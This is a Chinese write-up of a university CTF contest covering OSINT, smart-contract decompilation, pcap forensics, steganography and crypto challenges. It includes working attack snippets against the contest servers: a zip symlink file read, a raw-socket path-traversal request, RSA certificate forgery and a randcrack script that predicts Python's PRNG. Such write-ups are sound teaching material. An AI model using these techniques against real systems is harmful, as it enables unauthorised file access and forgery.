首届北京大学信息安全综合能力竞赛writeup

Bertha 。 2024-04-07 10:43 75阅读 0赞

### 签到 ###

题目内容是一个 pdf 文件，用 Adobe Acrobat 打开，看到其中包含一些特殊符号。

在编辑模式下，查看得到其字体为 Wingdings，这是一个装饰字体，文本内容其实是 ASCII 码。文本范围是超出页面的，resize 之后复制出其内容，给出了两行文字：

这是栅栏密码，得到 flag 为 flag\{Have\_A\_Great\_Time@GeekGame\_v1!\}。

fa\{aeAGetTm@ekaev!

lgHv\_\_ra\_ieGeGm\_1\}

### 小北问答 Remake ###

1.  北京大学燕园校区有理科 1 号楼到理科 X 号楼，但没有理科 (X+1) 号及之后的楼。X 是？
    
    在 Google Earth 中搜索，存在理科 5 号楼，但没有理科 6 号楼。故答案为 5。
2.  上一届(第零届)比赛的总注册人数有多少？
    
    在北京大学新闻网中找到报道[北京大学举办首届信息安全综合能力竞赛][Link 1]，得到「本次大赛共有 407 人注册参赛」，故答案为 407。
3.  geekgame.pku.edu.cn 的 HTTPS 证书曾有一次忘记续期了，发生过期的时间是？
    
    搜索「ssl cert database」，找到网站 [crt.sh][]。在该网站上搜索 geekgame.pku.edu.cn，并根据题目给出的正则表达式寻找过期时间秒数以 3 结尾的证书，得到[证书 4362003382][4362003382]。其过期时间为 Jul 11 00:49:53 2021 GMT，将时区换为 UTC+8，得到 2021-07-11T08:49:53+08:00。
4.  2020 年 DEFCON CTF 资格赛签到题的 flag 是？
    
    找到 2020 年 DEFCON CTF 资格赛的网站是 [OOO DEF CON CTF Quals][]，打开第一题 welcome-to-dc2020-quals，下载 welcome.txt，获得 flag 为
    
    OOO\{this\_is\_the\_welcome\_flag\}。
5.  在大小为 672328094 \* 386900246 的方形棋盘上放 3 枚(相同的)皇后且它们互不攻击，有几种方法？
    
    在 [The On-Line Encyclopedia of Integer Sequences][] 中搜索「3 queens」，没有直接找到的通解，但有一篇相关的文章 [Number of ways to place 3 nonattacking queens on an n X n board.][]。里面给出了通解的表达式：
    
    ![任意$m\\times n$棋盘上的3皇后问题][m_times n_3]
    
    代入数据计算得 2933523260166137923998409309647057493882806525577536。这里直接用 Mathematica 计算了。
6.  上一届(第零届)比赛的 “小北问答 1202” 题目会把所有选手提交的答案存到 SQLite 数据库的一个表中，这个表名叫？
    
    在第零届比赛的 GitHub 仓库 [geekgame-0th][] 中查找，在 [src/choice/game/db.py][src_choice_game_db.py] 中得到表名叫 submits。
7.  国际互联网由许多个自治系统(AS)组成。北京大学有一个自己的自治系统，它的编号是？
    
    在[中国 AS 自治系统号码][AS]中查找 Peking University，找到编号 AS59201。另一个搜索结果 CNGI-BJ-IX3-AS-AP CERNET2 IX at Peking University, CN 不是正确答案。
8.  截止到 2021 年 6 月 1 日，完全由北京大学信息科学技术学院下属的中文名称最长的实验室叫？
    
    在[信息科学技术学院 2021 年招生指南][2021]中找名字最长的实验室，为「区域光纤通信网与新型光通信系统国家重点实验室」。

### 共享的机器 ###

这题提到了「未来的机器」，是第零届比赛的题目。通过阅读「未来的机器」的 [Writeup][]，得知需要人脑解释执行代码，反推 flag。猜测这题是类似的。

首先需要了解以太坊智能合约的机制。智能合约创建时需要提供一段 [Solidity 程序][Solidity]的字节码，并且此后无法再修改。每次向该智能合约发起交易时，提供的交易信息和交易的发起者将作为程序的输入，程序的运行结果将可以存储到区块链中，也可以通过 revert 提前终止，拒绝交易。程序运行时将可以访问 memory 和 storage。memory 类似 RAM，程序终止后被销毁，而 storage 是区块链上的持久化存储。

原题提供了一个 [bitaps 中的链接][bitaps]，可以看到 2021-10-22 和 2021-11-07 两笔关键交易，其中 2021-10-22 的交易是创建此合约。其它有很多失败的交易，都是 2021-11-14 之后的。这时题目已经发布了，因此这些失败的交易应当不是题目的一部分。

除此之外，bitaps 上并没有提供更详细的信息。搜索其它 CTF 竞赛中有关以太坊智能合约的题目 Writeup，发现了 [Etherscan][] 网站，可以通过其 Parity Trace 功能查看交易详情。更令人激动的是，Etherscan 自带 Decompile Bytecode 功能，打开题目中所给的[智能合约][Link 2]后，可利用这一功能，查看得到[反编译的源码][Link 3]：

\# Panoramix v4 Oct 2019

\# Decompiled source of ropsten:0xa43028c702c3B119C749306461582bF647Fd770a

\# Let's make the world open source

def storage:

stor0 is addr at storage 0

stor1 is uint256 at storage 1

stor2 is uint256 at storage 2

stor3 is uint256 at storage 3

def \_fallback() payable: \# default function

revert

def unknown7fbf5e5a(uint256 \_param1, uint256 \_param2) payable:

require calldata.size - 4 >= 64

if stor0 != caller:

if stor0 != tx.origin:

if stor1 != sha3(caller):

if stor1 != sha3(tx.origin):

revert with 0, 'caller must be owner'

stor2 = \_param1

stor3 = \_param2

def unknownded0677d(uint256 \_param1) payable:

require calldata.size - 4 >= 32

idx = 0

s = 0

while idx < 64:

idx = idx + 1

s = s or (Mask(256, -4 \* idx, \_param1) >> 4 \* idx) + (5 \* idx) + (7 \* Mask(256, -4 \* idx, stor2) >> 4 \* idx) % 16 << 4 \* idx

continue

if stor3 != 0:

revert with 0, 'this is not the real flag!'

return 1

这里得到了两个函数，但调用关系并不明朗。用另一个在线工具 Online Solidity Decompiler 反编译，得到了[另一种表示][Link 4]，两者可以互相参照。\\footnote \{Online Solidity Decompiler 的反编译结果篇幅较长，且可以在线查看，就不贴在文中了。其中重要的部分会在后文给出。\}

Online Solidity Decompiler 的结果中存在一些 goto，但跳转的地址仍在函数内部，因此还是可以比较轻松地理清控制流。经过分析，发现第一个函数必须由 owner 发起交易才能正常返回，其作用是修改 storage\[2\] 和 storage\[3\]。第二个函数实际上运行了一个 64 次的循环，循环中不断用或运算修改变量 var0，并且用到了 storage\[2\] 存储的数据。循环后将 var0 的运算结果与 storage\[3\] 比较，两者不相同则输出 this is not the real flag!。换言之，需要找出一个初始的 var0，使其运算后与 storage\[3\] 相同。这个 var0 很可能就是我们需要的 flag。

这一部分的 Solidity 代码提取出来是

var arg0 = msg.data\[0x04:0x24\];

var var0 = 0x00;

var var1 = 0x00;

while (var1 < 0x40) \{

var0 = var0 | (((arg0 >> var1 \* 0x04) + var1 \* 0x05 + (storage\[0x02\] >> var1 \* 0x04) \* 0x07 & 0x0f) << var1 \* 0x04);

var1 += 0x01;

if (var0 == storage\[0x03\]) \{ return 0x01; \}

注意到位运算的优先级，最终被左移 var1 \* 0x04 位的内容提前经过了 \\& 0x0f 运算，换言之，一次循环中 var0 只会至多被改变 4 位，并且每次循环改变的位是互不干扰的。这使得整个运算过程是可逆的。

此外我们还需要知道 storage\[2\] 和 storage\[3\] 的值。这可以通过查看 [2021-11-07 的交易][2021-11-07]获得。

![查看Internal transaction的信息][Internal transaction]

这样，就可以把反推 var0 的逻辑用 Python 实现出来了。

stor2 = 0x15eea4b2551f0c96d02a5d62f84cac8112690d68c47b16814e221b8a37d6c4d3

stor3 = 0x293edea661635aabcd6deba615ab813a7610c1cfb9efb31ccc5224c0e4b37372

res = 0

flag = \[\]

for i in range(0x40):

target = stor3 >> i \* 4 & 0x0f

for ans in range(0x10):

if ans + i \* 5 + (stor2 >> i \* 4) \* 7 & 0x0f == target:

flag.insert(0, ans)

print(''.join(\[chr(flag\[i\] \* 16 + flag\[i + 1\]) for i in range(0, len(flag), 2)\]))

得到 flag 为 flag\{N0\_S3cReT\_ON\_EThEreuM\}。

### 翻车的谜语人 ###

题目提供了一个 pcap 格式的抓包数据。用 Charles 打开，可以看出这是与 Jupyter 交互的流量。

![用Charles查看pcap][Charles_pcap]

这里可以直接把 Jupyter Notebook 的内容恢复出来。

import zwsp\_steg

from Crypto.Random import get\_random\_bytes

import binascii

def genflag():

return 'flag\{%s\}' % binascii.hexlify(get\_random\_bytes(16)).decode()

flag1 = genflag()

flag2 = genflag()

key = get\_random\_bytes(len(flag1))

def xor\_each(k, b):

assert len(k) == len(b)

out = \[\]

for i in range(len(b)):

out.append(b\[i\] ^ k\[i\])

return bytes(out)

encoded\_flag1 = xor\_each(key, flag1.encode())

encoded\_flag2 = xor\_each(key, flag2.encode())

with open('flag1.txt', 'wb') as f:

f.write(binascii.hexlify(encoded\_flag2))

从 Jupyter Notebook 的输出可以知道 key 为

b'\\x1e\\xe0\[u\\xf2\\xf2\\x81\\x01U\_\\x9d!yc\\x8e\\xce\[X\\r\\x04\\x94\\xbc9\\x1d\\xd7\\xf8\\xde\\xdcd\\xb2Q\\xa3\\x8a?\\x16\\xe5\\x8a9'

而 encoded\_flag1 则是根据 flag1 与 key 的异或运算得到。根据异或运算的性质，将 encoded\_flag1 与 key 再进行一次异或就能够还原出 flag1。

接下来搜索 flag1，可以在流量中找到读取 flag1.txt 文件的内容。

![用Charles读取flag1.txt][Charles_flag1.txt]

由此可以还原出 flag1：

flag1 = '788c3a1289cbe5383466f9184b07edac6a6b3b37f78e0f7ce79bece502d63091ef5b7087bc44'

flag1 = binascii.unhexlify(flag1)

print(''.join(\[chr(flag1\[i\] ^ key\[i\]) for i in range(len(flag1))\]))

对于 flag2，搜索后发现 Jupyter 工作区存在大小为 2935226 字节的 7zip 文件，其内容可以完全 dump 出来。但是这个压缩文件有密码，必须继续挖掘。这时 Charles 给出的 HTTP 流量数据已经提取不到更多有用的信息，转而使用 Wireshark。果不其然，在 Wireshark 中发现了 Jupyter Notebook 的 WebSocket 协议数据帧。

![Wireshark发现命令行操作][Wireshark]

这些 WebSocket 数据帧完整地记录了命令行操作。可以看到 You ちゃん先是用 pip 安装了 stego-lsb，然后将 flag2.txt 隐写进了 ki-ringtrain.wav，最后把 wav 用 7za 压缩。压缩时设置了密码，其命令行参数为

\-p"Wakarimasu! \`date\` \`uname -nom\` \`nproc\`"

7za 的输出里显示了 CPU 型号为 i7-10510U，这是一个 4C8T 的 U，故 nproc 输出为 8。\\footnote \{如果关了超线程应该就是 4？\}uname -o 显然为 GNU/Linux，uname -m 则为 x86\_64。uname -n 为主机名，通过命令提示符的回显得到 you-kali-vm。

![命令提示符中的you-kali-vm][you-kali-vm]

至于 date 的输出需要一定的猜测，因为主机的时区和语言还没确定。并且 date 本身也有几种风格的输出，例如

Sat Nov 06 07:44:16 CST 2021

Sat 06 Nov 2021 07:44:16 AM GMT

执行命令的时间相对第一个数据帧的偏移是，推测出时间大约是 2021 年 11 月 6 日 15:44:16。当然，这是存在误差的，实际试密码时把都试了。比较幸运，正确的密码手工试出来了，不然需要写脚本遍历不同的时区和语言：

Wakarimasu! Sat 06 Nov 2021 03:44:15 PM CST you-kali-vm x86\_64 GNU/Linux 8

解压得到 wav 文件，再用 stegolsb 提取出隐写的信息，正是 encoded\_flag2。

pip3 install stego-lsb

stegolsb wavsteg -r -i flag2.wav -o flag2.txt --bytes 76 -n 1

使用前文类似的方法，恢复出 flag2 即可。

### 叶子的新歌 ###

首先用 ffprobe 查看 mp3 文件的元信息，得到两个关键的提示：

album : Secret in Album Cover!!

TRACKTOTAL : aHR0cDovL2xhYi5tYXh4c29mdC5uZXQvY3RmL2xlZ2FjeS50Ynoy

这是两个分支，后文分别叙述。

#### 夢は時空を越えて ####

用 binwalk 看到 Album Cover 是 png 图片，提取之。

![Album Cover][]

这个图片看上去非常正常。首先猜测是图片大小存在问题，于是对 PNG 头进行 CRC32 校验，无异常。进而怀疑使用了隐写技术，上 [StegSolve][]。使用 LSB，提取 RGB 三个通道的最低位，二进制解码后三个大字「PNG」映入眼帘。说明思路正确，提取出一张图片。

![LSB隐写的二维码][LSB]

这是一个二维码，但并不是常见的 QR 码。扔到 Google 图片中搜索，发现其名为 Aztec 码。手机下载扫码软件 Scandit，得到内容 Gur frperg va uvfgbtenz.。看上去是凯撒密码，随手找了一个[在线工具][Link 5]，解码得到 The secret in histogram.。

这个 Aztec 码的灰度分布看上去就不太对劲，不过 Photoshop 的直方图不太能放大，于是用 Python 脚本输出直方图。

from PIL import Image

import numpy as np

im = Image.open('aztec.png')

cluster = np.zeros(shape=(256))

for i in range(1000):

for j in range(1000):

cluster\[im.getpixel((i, j))\] += 1

img = Image.new(mode='RGB', size=(256 + 40, 50 + 10), color=(255, 255, 255))

pixels = img.load()

for i in range(len(cluster)):

if cluster\[i\] > 0:

for j in range(50):

pixels\[i + 20, j + 5\] = (0, 0, 0)

img.save('histogram.png')

直方图如下图所示。

![二维码图片的直方图][83b9b2cf9295a572c26ae17880d99242.png]

这个直方图怎么看也是一个条形码，继续扫码得到 xmcp.ltd/KCwBa。访问后得到一大串 Ook。这是一个 Brainfuck 的方言，在 [Ook! Programming Language - Esoteric Code Decoder, Encoder, Translator][Ook_ Programming Language - Esoteric Code Decoder_ Encoder_ Translator] 执行后得到 flag 为

flag\{y0u\_h4ve\_f0rgott3n\_7oo\_much\}。

> StegSolve 的 UI 在 macOS 上会有问题，可以用其他程序替代，例如 zsteg 或 [StegOnline][]。

#### 夢と現の境界 ####

另一个分支，aHR0cDovL2xhYi5tYXh4c29mdC5uZXQvY3RmL2xlZ2FjeS50YnoyBase64 解码得到 http://lab.maxxsoft.net/ctf/legacy.tbz2。下载解压得到 To\_the\_past.img。macOS 上直接挂载磁盘镜像，得到 MEMORY.ZIP 和 NOTE.TXT。NOTE.TXT 中提示密码是：宾驭令诠怀驭榕喆艺艺宾庚艺怀喆晾令喆晾怀。搜索后得知这是[人民币冠号密码][Link 6]，解码得到 72364209117514983984。用该密码解压 MEMORY.ZIP，获得新的提示和两个二进制文件，left.bin 和 right.bin。先用 binwalk，没有扫到有用的信息。提示中有「红白机」「找不同滴神」，故使用 vbindiff 比较，发现确实可以找不同，但应该用最长公共子串比较，而不是按位比较。这里偷懒了，写了一个比较简单的脚本，稍微处理了一下 edge case，不过对于某些极端输入会有 bug。

with open('left.bin', 'rb') as f:

lbuf = f.read()

with open('right.bin', 'rb') as f:

rbuf = f.read()

lpointer = 0

rpointer = 0

common = \[\]

lonly = \[\]

ronly = \[\]

allonly = \[\]

while lpointer < len(lbuf) and rpointer < len(rbuf):

if lbuf\[lpointer\] == rbuf\[rpointer\]:

common.append(lbuf\[lpointer\])

elif lbuf\[lpointer + 1\] == rbuf\[rpointer\] and lbuf\[lpointer + 2\] == rbuf\[rpointer + 1\]:

common.append(rbuf\[rpointer\])

lonly.append(lbuf\[lpointer\])

allonly.append(lbuf\[lpointer\])

lpointer += 1

elif lbuf\[lpointer\] == rbuf\[rpointer + 1\] and lbuf\[lpointer + 1\] == rbuf\[rpointer + 2\]:

common.append(lbuf\[lpointer\])

ronly.append(rbuf\[rpointer\])

allonly.append(rbuf\[rpointer\])

rpointer += 1

else:

print(lpointer, rpointer)

print(lbuf\[lpointer - 1:lpointer + 2\], rbuf\[rpointer - 1:rpointer + 2\])

raise ValueError

lpointer += 1

rpointer += 1

脚本处理本题中的数据后，给出了找不同的结果，包括只存在于 left.bin 的数据，只存在于 right.bin 的数据和共有的数据。继续 binwalk，还是没有找到有用的结果。这里试了半天，最后发现两个 diff 文件的开头，一个是 N，一个是 ES。联想到提示中的「红白机」，按 diff 的顺序把左右合起来正好是一个合法的 NES 文件 \\footnote \{仍然是由于脚本的小 bug，最后一个不同的字节没有被记录，因此最后追加了一个 FF。\}。

with open('game.nes', 'wb') as f:

for c in allonly:

f.write(c.to\_bytes(1, 'big'))

f.write(b'\\xFF')

之后在 [awesome-emulators][] 中找了一个 NES 模拟器 [Nestopia][]，能够正常打开游戏，发现是修改的超级马里奥。下一步找 flag 又没有方向了，因为 flag 可能藏在任何地方，例如[游戏的地图][Link 7]甚至彩蛋中。不确定是不是错过了什么关键信息，这里只能继续猜，靠玩《超级马里奥制造》的功底 \\footnote \{以及 SL 大法。\} 速通之后得到了一个网页链接

lab.maxxsoft.net/ctf/leafs/

然后就卡关了。\\footnote \{NINTENDO RULES THE FUCKING WORLD!\}

> 直接 mount img 读到的是 FAT12 分区的内容。如果先用 file(而不是 binwalk)查看可以知道是有 MBR 引导的，用 qemu 就能启动。提示其实说得很清楚了，没做出来属于是重大失误。

### 在线解压网站 ###

这题比较简单，用户上传 zip 文件后服务器解压，并允许读取解压后的文件。由于已经知道 flag 在磁盘根目录下，因此直接用软链接攻击就行。

touch /flag

ln -s /flag flag

zip flag.zip flag --symlinks

参数 --symlinks 用于让 zip 保留软链接，而不是把软链接目标打包进去。上传 flag.zip 就可以直接读 flag 了，结果是 flag\{NeV3R\_trUSt\_Any\_C0mpresSed\_file\}。

### Flag 即服务 ###

打开 JSON-as-a-Service 的网站，按照介绍试用功能：

https://prob11-xxxxxxxx.geekgame.pku.edu.cn/api/demo.json

尝试以下网址

https://prob11-xxxxxxxx.geekgame.pku.edu.cn/api/

服务器报错

Error: EISDIR: illegal operation on a directory, read

at Object.readSync (fs.js:617:3)

at tryReadSync (fs.js:382:20)

at Object.readFileSync (fs.js:419:19)

at /usr/src/app/node\_modules/jsonaas-backend/index.js:56:19

at Layer.handle \[as handle\_request\] (/usr/src/app/node\_modules/express/lib/router/layer.js:95:5)

at next (/usr/src/app/node\_modules/express/lib/router/route.js:137:13)

at Route.dispatch (/usr/src/app/node\_modules/express/lib/router/route.js:112:3)

at Layer.handle \[as handle\_request\] (/usr/src/app/node\_modules/express/lib/router/layer.js:95:5)

at /usr/src/app/node\_modules/express/lib/router/index.js:281:22

at param (/usr/src/app/node\_modules/express/lib/router/index.js:354:14)

可见服务器会根据 /api/ 后的路径拼接文件路径进行读取，尝试 LFI 攻击

https://prob11-xxxxxxxx.geekgame.pku.edu.cn/api/../package.json

这里最开始拿的浏览器测试，发现 URL 被 resolve 成了

https://prob11-xxxxxxxx.geekgame.pku.edu.cn/package.json

随后用 Python 的 requests 试了一下，也没能解决这个问题。根据提示中的 RFC 3986，用 socket 库手写 HTTP 头，终于绕过了

import socket

s = socket.socket(

socket.AF\_INET, socket.SOCK\_STREAM)

s.connect(("prob11-xxxxxxxx.geekgame.pku.edu.cn", 80))

s.send(

b'GET /api/../package.json HTTP/1.1\\r\\nHost: prob11-xxxxxxxx.geekgame.pku.edu.cn\\r\\n\\r\\n')

response = s.recv(4096)

print(response)

拿到 package.json 后，读出依赖包地址为

https://geekgame.pku.edu.cn/static/super-secret-jsonaas-backend-1.0.1.tgz

下载后阅读源码，可知 flag1 为 flag\{0.30000000000000004\}。

> 这里用 curl --path-as-is 也可以。

### 诡异的网关 ###

这题也比较简单。打开程序后探索程序的 UI，发现存了一个用户名为 flag 的账号的密码。密码不让查看和复制，大概率是和我们要的 flag 相关的。于是直接开 Cheat Engine，搜索 flag\{，秒得 solution。

![Cheat Engine查内存][Cheat Engine]

印象中上一次使用 Cheat Engine 还是高中时修改某网盘的会员试用时间，没想到会在这题中用上。当然，如果题目把 flag 做一个简单的变换，这个方法就不奏效了，会增加很大的工作量。

### 最强大脑 ###

先用 strings，发现程序中有字符串 flag1。然后上 ida，可惜用得不太熟练，没能逆向出有用的信息。这题最后是靠提示给的源代码做出来的。拿到源码之后发现 flag 放在了数据段的最后，因此写个循环遍历数据段，输出读到的字符即可。Brainfuck 的循环会检测当前指针指向的数据是否为 0，数据段初始化时会全部置 0，所以需要用一下 + 操作符。Brainfuck 代码如下

\+\[>.+\]

用 Python 计算对应的 hex

print(b'+\[>.+\]'.hex())

得到 2b5b3e2e2b5d，运行得到 flag\{N0\_tRainIng\_@\_@ll\}。

> 这大概也是一个熟练度的问题，能 dump 内存就先 dump 内存，能 LFI 就直接对 /proc 下手。

### 密码学实践 ###

这题中有三个对象：God，Richard 和 Alice。Alice 只是占了个坑，我们的终极目标是和 God 对话，获取伪造的证书来冒充 Alice。程序中的 God 会先为 Alice 和 Richard 颁发证书。签名证书需要提供 name 和 key，程序会先打包出下面这一串内容

\[...name...\]\[..\]\[..\]\[......key......\]\[..\]\[..\]

name 和 key 之后分别用两个字节标记其长度，然后组合在一起。将这个字节串转为整数后，用模幂运算计算得到证书。并且，God 不会为 name 相同的人颁发第二个证书。

首先看 flag1。在程序中和 Richard 对话，会直接给出加密后的 flag1。这里的加密过程还没有涉及 RSA，而是用了一个看上去比较复杂的循环。阅读 MESenc 函数的代码，可知加密是先将明文按每 32 个字节分为一组，然后每组单独加密再拼接。32 个字节又分成 4 个 8 字节，分别记做。此外还需要一个 256 字节的 keys，为方便表述，将其视作 32 个 8 字节的。

那么，加密流程就是执行如下操作

其中是异或运算。考虑到异或运算所具有的良好性质，不妨将每次循环后的结果向后推演一些。

这些之间的异或运算结果都可以视为常数，因为它们与明文的选取无关。可以看到，每六次循环操作后，原来的位置复原了，只是各自异或了一个常数。\\footnote \{说实话，这题把《密码学基础》换成《群论》也没有什么问题。\} 考虑到

那么一圈循环下来的结果就是

这里的 4 个可以由 32 个计算得到，不过从破解密码的角度来说，我们只要知道对每次加密都是相同的常数就行。

于是，MESenc 其实等价于如下函数。

def MESenc(mess: bytes, const1: bytes, const2: bytes, const3: bytes, const4: bytes):

assert len(mess) % 32 == 0

cip = b""

for it in range(0, len(mess), 32):

pmess = mess\[it:it+32\]

a = bytes\_to\_long(pmess\[0:8\])

b = bytes\_to\_long(pmess\[8:16\])

c = bytes\_to\_long(pmess\[16:24\])

d = bytes\_to\_long(pmess\[24:32\])

\_a = long\_to\_bytes(c ^ const1, 8)

\_b = long\_to\_bytes(d ^ const2, 8)

\_c = long\_to\_bytes(a ^ c ^ const3, 8)

\_d = long\_to\_bytes(b ^ d ^ const4, 8)

cip += \_a + \_b + \_c + \_d

return cip

阅读程序源码，我们会知道 Richard 说的第二句话的明文是 Sorry, I forget to verify your identity. Please give me your certificate. 我们同样也能直接获得这句话的密文。\\footnote \{同时获得明文和对应的密文显然是一个令人不安的信号，就如盟军破译 Enigma 时所做的那样。\} 那么，4 个就可以直接计算出来，然后再用它解密 Richard 的第一句话，即可得到 flag1。

根据明文和密文反推的逻辑如下所示

def MEScrack(mess: bytes, cip: bytes):

assert len(mess) == len(cip)

assert len(mess) % 32 == 0

pmess = mess\[:32\]

pcip = cip\[:32\]

a = bytes\_to\_long(pmess\[0:8\])

b = bytes\_to\_long(pmess\[8:16\])

c = bytes\_to\_long(pmess\[16:24\])

d = bytes\_to\_long(pmess\[24:32\])

\_a = bytes\_to\_long(pcip\[0:8\])

\_b = bytes\_to\_long(pcip\[8:16\])

\_c = bytes\_to\_long(pcip\[16:24\])

\_d = bytes\_to\_long(pcip\[24:32\])

const1 = \_a ^ c

const2 = \_b ^ d

const3 = a ^ c ^ \_c

const4 = b ^ d ^ \_d

return const1, const2, const3, const4

算出后，就可以完全抛弃，直接解密信息。

def MESdecode(cip: bytes, const1: bytes, const2: bytes, const3: bytes, const4: bytes):

assert len(cip) % 32 == 0

mess = b""

for it in range(0, len(cip), 32):

pmess = cip\[it:it+32\]

\_a = bytes\_to\_long(pmess\[0:8\])

\_b = bytes\_to\_long(pmess\[8:16\])

\_c = bytes\_to\_long(pmess\[16:24\])

\_d = bytes\_to\_long(pmess\[24:32\])

c = \_a ^ const1

d = \_b ^ const2

a = \_c ^ c ^ const3

b = \_d ^ d ^ const4

a = long\_to\_bytes(a, 8)

b = long\_to\_bytes(b, 8)

c = long\_to\_bytes(c, 8)

d = long\_to\_bytes(d, 8)

mess += a + b + c + d

return mess

获得 flag2 就需要来研究 RSA 了。和 Richard 对话时，我们需要提供一个证书，如果 Richard 解密出这个证书所打包的 name 是 Alice，就会发送 flag2。由于 God 已经为 Alice 颁发过证书了，我们没法直接冒充 Alice 获得证书，所以目标就是用一个和 Alice 不同但精心构造的 name，以及 key，使得这个 name 和 key 经过打包、模幂、解密后，算出来的 name 等于 Alice。

考虑 RSA 的加密解密过程。

e 和 N 是 God 会告诉我们的公钥，d 是私钥。程序是用 pycryptodome 生成的 2048 位 RSA 密钥，流程非常正经，可以认为[暴力的攻击方式][Link 8]是不可能的。\\footnote \{During his own Google interview, Jeff Dean was asked the implications if P=NP were true. He said, \`\`P = 0 or N = 1". Then, before the interviewer had even finished laughing, Jeff examined Google's public certificate and wrote the private key on the whiteboard.\}

但这个加密过程存在一个漏洞，那就是没有将明文 m 分块。这使得 m 到 c 的映射是多对一的。显然，任何都满足

于是，我们的目标是寻找，以及，s.t.

1.  形如 \[Alice\]\[00\]\[05\]\[......key......\]\[..\]\[..\]，是一个合法的 pack
2.  转为整数后小于 N
3.  转为字节串后，也是一个合法的 pack

为了逆推方便，这个合法的 pack 可以尽量简单，例如它对应的 key 长度为 0。第二条约束则可以用搜索实现。最后对应的 key 做减法得到，并且要考虑进位问题。完整代码如下

def fulldecode(n):

for i in range(1024):

keyx = n \* i

if 0x10000 - (keyx & 0xffff) < 256:

factor = i

break

keyx = n \* factor

lastmask = 0x10000 - (keyx & 0xffff)

firstmask = int.from\_bytes(b'Alice\\x00\\x05', 'big') << (lastmask + 2) \* 8

bitlength = (keyx.bit\_length() + 7) // 8 - 4

centermask = (0x10000 + bitlength - ((keyx >> 16 & 0xffff) + 1)) << 16

result = keyx + firstmask + centermask + lastmask

sinfo = result.to\_bytes((result.bit\_length()+7)//8, 'big')

akey = unpackmess(sinfo)

pinfo = sinfo\[:len(sinfo)-len(akey)-2\]

aname = unpackmess(pinfo)

return aname.hex()

到这里所有问题都变成已解决的问题了。源程序里 Richard 还用了 6 行代码重新生成 key，但这一部分不需要专门考虑，因为实际上并没有什么区别，反推的流程都是一样的。

> 看其他选手的 Writeup 发现这里搞复杂了。最简单的方法就是利用同态加密的特性攻击，找 God 分别获得 b'\\x00\\x00Alice\\x00\\x05' 和 b'\\x00\\x00\\x01\\x00\\x00' 的证书，然后乘起来，就可以糊弄 Richard 了。

### 扫雷 ###

这题要求通关一个在线扫雷游戏获得 flag，唯一的问题是地雷数量占总地图格子数的期望值是 50%。生成地雷用的是 random.getrandbits，这是一个典型的伪随机数生成器，因此可以设法攻击。找到了轮子 [randcrack][]，该程序要求输入连续生成的 624 个 32 位随机数，这部分信息将使得 cracker 的状态与原程序的随机数生成器同步，于是就可以完全预测出接下来的随机数生成结果。

阅读扫雷程序的源码 sweeper.py，棋盘的大小是，每次将生成一个 256 位整数，以行优先的顺序把每一位填到棋盘上，1 代表地雷。考虑到，因此故意输掉 78 盘，就可以根据程序打印的棋盘，获得足够的负熵，支持接下来的预测。

确定这个大的思路后，其它的都是细节问题，例如按正确的顺序将 256 位整数拆成 8 个 32 位整数喂给 randcrack，以及正确计算涉及到的位运算的位数。这题操作比较多，因此用 [pwntools][] 交互。代码如下所示。

from randcrack import RandCrack

from pwn import \*

WIDTH = 16

HEIGHT = 16

token = 'TOKEN'

rc = RandCrack()

def letItBoom(conn):

conn.recv()

index = 0

conn.send(f'0 0\\n')

line = conn.recvline()

while line != b'> BOOM!\\n':

index += 1

conn.send(f'\{index // 16\} \{index % 16\}\\n')

line = conn.recvline()

print('line2', line)

rows = \[\]

for i in range(HEIGHT):

rows.append(conn.recvline(keepends=False))

print(rows)

bits = \[\]

for row in rows:

tmp = 0

for i in range(WIDTH):

tmp |= (1 if row\[i\] == ord('\*') else 0) << i

bits.append(tmp)

int32s = \[\]

for i in range(0, HEIGHT, 2):

tmp = (bits\[i + 1\] << 16) | bits\[i\]

rc.submit(tmp)

print(tmp)

int32s.append(tmp)

print(int32s)

conn.recvline()

conn.recv()

conn = remote('prob09.geekgame.pku.edu.cn', 10009)

if conn.recv() == b'token: ':

conn.send(token + '\\n')

if conn.recv() == b'Welcome to the minesweeper game!\\neasy mode? (y/n)':

conn.send(b'n\\n')

for i in range(78):

print('NEW GAME')

letItBoom(conn)

conn.send(b'y\\n')

predict = rc.predict\_getrandbits(256)

print('predict:', predict)

def gen\_board(bits):

board = \[\[None\] \* WIDTH for \_ in range(HEIGHT)\]

for i in range(HEIGHT):

for j in range(WIDTH):

x = (bits >> (i \* WIDTH + j)) & 1

board\[i\]\[j\] = x

return board

conn.recv()

board = gen\_board(predict)

for i in range(HEIGHT):

for j in range(WIDTH):

if board\[i\]\[j\] == 0:

conn.send(f'\{i\} \{j\}\\n')

print(conn.recv())

from:

[https://zhangshuqiao.org/2021-11/%E7%AC%AC%E4%B8%80%E5%B1%8A%E5%8C%97%E4%BA%AC%E5%A4%A7%E5%AD%A6%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8%E7%BB%BC%E5%90%88%E8%83%BD%E5%8A%9B%E7%AB%9E%E8%B5%9B%E4%B8%AA%E4%BA%BA%E9%A2%98%E8%A7%A3/\#%E6%89%AB%E9%9B%B7][https_zhangshuqiao.org_2021-11_E7_AC_AC_E4_B8_80_E5_B1_8A_E5_8C_97_E4_BA_AC_E5_A4_A7_E5_AD_A6_E4_BF_A1_E6_81_AF_E5_AE_89_E5_85_A8_E7_BB_BC_E5_90_88_E8_83_BD_E5_8A_9B_E7_AB_9E_E8_B5_9B_E4_B8_AA_E4_BA_BA_E9_A2_98_E8_A7_A3_E6_89_AB_E9_9B_B7]

[Link 1]: https://news.pku.edu.cn/xwzh/203d197d93c245a1aec23626bb43d464.htm
[crt.sh]: https://crt.sh/
[4362003382]: https://crt.sh/?id=4362003382
[OOO DEF CON CTF Quals]: https://scoreboard2020.oooverflow.io/#/
[The On-Line Encyclopedia of Integer Sequences]: https://oeis.org/
[Number of ways to place 3 nonattacking queens on an n X n board.]: https://oeis.org/A047659
[m_times n_3]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/31c378a3a4134957937624ac88382e99.png
[geekgame-0th]: https://github.com/PKU-GeekGame/geekgame-0th
[src_choice_game_db.py]: https://github.com/PKU-GeekGame/geekgame-0th/blob/05bcab4c0ec1e5347a377e255f6ccd70b4166bbb/src/choice/game/db.py
[AS]: http://as.chacuo.net/CN
[2021]: https://eecs.pku.edu.cn/info/1060/10794.htm
[Writeup]: https://xzonn.top/posts/0th-PKU-Geek-Game-Writeups.html#%E6%9C%AA%E6%9D%A5%E7%9A%84%E6%9C%BA%E5%99%A8
[Solidity]: https://soliditylang.org/
[bitaps]: https://teth.bitaps.com/0xa43028c702c3B119C749306461582bF647Fd770a
